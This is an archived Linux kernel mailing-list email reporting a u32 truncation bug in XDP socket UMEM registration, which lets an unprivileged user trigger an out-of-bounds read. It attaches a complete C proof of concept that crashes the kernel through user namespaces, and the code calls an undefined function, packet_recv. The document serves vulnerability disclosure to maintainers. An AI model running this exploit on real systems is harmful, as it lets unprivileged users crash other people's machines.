All of lore.kernel.org
 help / color / mirror / Atom feed
From: "Minh Bùi Quang" <minhquangbui99@gmail.com>
To: Magnus Karlsson <magnus.karlsson@intel.com>, bjorn.topel@intel.com
Cc: netdev@vger.kernel.org, bpf@vger.kernel.org
Subject: XDP socket DOS bug
Date: Wed, 20 May 2020 22:16:25 +0700	[thread overview]
Message-ID: <CACtPs=GGvV-_Yj6rbpzTVnopgi5nhMoCcTkSkYrJHGQHJWFZMQ@mail.gmail.com> (raw)

[-- Attachment #1: Type: text/plain, Size: 1429 bytes --]

Dear sir,
In function xdp_umem_reg (net/xdp/xdp_umem.c), there is an initialization
         //size is u64
         umem->npgs = size / PAGE_SIZE;
When look at the definition of xdp_umem struct, I see
        struct xdp_umem {
                 .....
                 u32 npgs;
                 .....
        }
npgs is u32, however the result of division can be bigger than u32
(there is no limit in size which is u64), so the result can be
truncated when assigned to npgs. For example, size is 0x1 000 0000
8000, result of division is 0x1 0000 0008, and the npgs is truncated
to 0x8.
======
In the process of analyzing the consequence of this bug, I found that
only npgs pages get mapped and the size is used to initialize
queue->size. queue->size is used to validate the address provided in
user-supplied xdp_desc in tx path (xdp_generic_xmit). In
xdp_generic_xmit the address provided passed the size check and reach
xdp_umem_get_data. That address is then used as and index to
umem->pages to get real virtual address. This leads to an out of bound
read in umem->pages and if the attacker spray some addresses, he can
use this bug to get arbitrary read.
However, I cannot see any ways to intercept the xdp packet because
that packet is sent to bpf program by design. Therefore, I cannot get
info leak using this bug but I can craft a poc to get kernel panic on
normal user as long as CONFIG_USER_NS=y.

Regards,
Bui Quang Minh

[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 4731 bytes --]

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <net/if.h>
#include <linux/bpf.h>
#include <unistd.h>
#include <linux/if_xdp.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <linux/rtnetlink.h>
#include <sys/resource.h>
#include <linux/if_packet.h>

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while(0)
typedef uint64_t u64;
typedef uint32_t u32;
typedef uint16_t u16;
#define XDP_UMEM_UNALIGNED_CHUNK_FLAG (1 << 0)
#define PF_XDP 44
#define SOL_XDP	283
#define XDP_UMEM_REG 4
#define XDP_RX_RING 2
#define XDP_TX_RING 3
#define XDP_UMEM_FILL_RING 5
#define XDP_UMEM_COMPLETION_RING 6
#define XDP_USE_NEED_WAKEUP (1 << 3)
#define XDP_MMAP_OFFSETS 1

void* umem;
void* cr;
void* tx;

struct my_xdp_umem_reg {
	u64 addr; /* Start of packet data area */
	u64 len; /* Length of packet data area */
	u32 chunk_size;
	u32 headroom;
	u32 flags;
};

#define BUF_SIZE 1024
char log_buf[BUF_SIZE];

void write_file(char* file_name, char* data)
{
	int f = open(file_name, O_WRONLY);
	if (f < 0)
		err_exit("open");
	int result = write(f, data, strlen(data));
	if (result < strlen(data))
		err_exit("write");
	close(f);
}

void setup_sandbox()
{
	int result;
	char buf[1024];
	uid_t uid = getuid();
	uid_t gid = getgid();
	result = unshare(CLONE_NEWUSER);
	if (result < 0)
		err_exit("unshare-CLONE-NEWUSER");
	result = unshare(CLONE_NEWNET);
	if (result < 0)
		err_exit("unshare-CLONE-NEWNET");

	// set mapping from uid(gid) inside the namespace to the outside
	write_file("/proc/self/setgroups", "deny");

	sprintf(buf, "0 %d 1\n", uid);
	write_file("/proc/self/uid_map", buf);

	sprintf(buf, "0 %d 1\n", gid);
	write_file("/proc/self/gid_map", buf);

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		err_exit("sched-setaffinity");
	}

	result = system("/sbin/ifconfig lo up");
	if (result < 0)
		err_exit("ifconfig");
}

int setup_socket()
{
	int fd = socket(PF_XDP, SOCK_RAW, 0);
	if (fd < 0)
		err_exit("socket-create");

	umem = mmap(0, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	if (umem < 0)
		err_exit("mmap");

	memset(umem + 0x7000, 0x41, 0x1000 - 1);
	struct my_xdp_umem_reg mr;
	memset(&mr, 0, sizeof mr);
	mr.addr = (u64) umem;
	mr.len = 0x100000008000;
	mr.chunk_size = 0x1000;
	mr.headroom = 0;
	mr.flags = 0;

	int result = setsockopt(fd, SOL_XDP, XDP_UMEM_REG, &mr, sizeof mr);
	if (result < 0)
		err_exit("setsockopt-umem-reg");

	int entries = 4;
	result = setsockopt(fd, SOL_XDP, XDP_RX_RING, &entries, sizeof entries);
	if (result < 0)
		err_exit("setsockopt-rx-ring");

	result = setsockopt(fd, SOL_XDP, XDP_TX_RING, &entries, sizeof entries);
	if (result < 0)
		err_exit("setsockopt-tx-ring");

	result = setsockopt(fd, SOL_XDP, XDP_UMEM_FILL_RING, &entries, sizeof entries);
	if (result < 0)
		err_exit("setsockopt-fill-ring");

	result = setsockopt(fd, SOL_XDP, XDP_UMEM_COMPLETION_RING, &entries, sizeof entries);
	if (result < 0)
		err_exit("setsockopt-completion-ring");

	struct xdp_mmap_offsets off;
	int len = sizeof off;
	result = getsockopt(fd, SOL_XDP, XDP_MMAP_OFFSETS, &off, &len);
	if (result < 0)
		err_exit("getsockopt");

	tx = mmap(0, off.tx.desc +
					4 * sizeof(struct xdp_desc),
					PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
					fd, XDP_PGOFF_TX_RING);
	if (tx < 0)
		err_exit("mmap-tx-ring");

	cr = mmap(0, off.cr.desc +
					4 * sizeof(u64),
					PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
					fd, XDP_UMEM_PGOFF_COMPLETION_RING);
	if (cr < 0)
		err_exit("mmap-completion-ring");

	struct sockaddr_xdp addr;
	memset(&addr, 0, sizeof addr);
	addr.sxdp_family = PF_XDP;
	addr.sxdp_ifindex = if_nametoindex("lo");
	addr.sxdp_queue_id = 0;
	addr.sxdp_flags = XDP_USE_NEED_WAKEUP;
	result = bind(fd, (struct sockaddr *) &addr, sizeof addr);
	if (result < 0)
		err_exit("bind");

	struct xdp_desc* tx_desc = (struct xdp_desc*) (tx + off.tx.desc);
	tx_desc->addr = 0x9000;
	tx_desc->len = 0x1000 - 1;
	tx_desc->options = 0;

	u32* tx_producer = tx + off.tx.producer;
	tx_producer[0] = 1;

	int ret = sendto(fd, NULL, 0, MSG_DONTWAIT, NULL, 0);
	if (ret < 0)
		err_exit("sendto");
	return fd;
}

int main()
{
	setup_sandbox();
	puts("Setting up socket");
	int fd = setup_socket();
	packet_recv();
	return 0;
}

             reply	other threads:[~2020-05-20 15:16 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2020-05-20 15:16 Minh Bùi Quang [this message]
2020-05-25  7:54 ` XDP socket DOS bug Björn Töpel

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to='CACtPs=GGvV-_Yj6rbpzTVnopgi5nhMoCcTkSkYrJHGQHJWFZMQ@mail.gmail.com' \
    --to=minhquangbui99@gmail.com \
    --cc=bjorn.topel@intel.com \
    --cc=bpf@vger.kernel.org \
    --cc=magnus.karlsson@intel.com \
    --cc=netdev@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.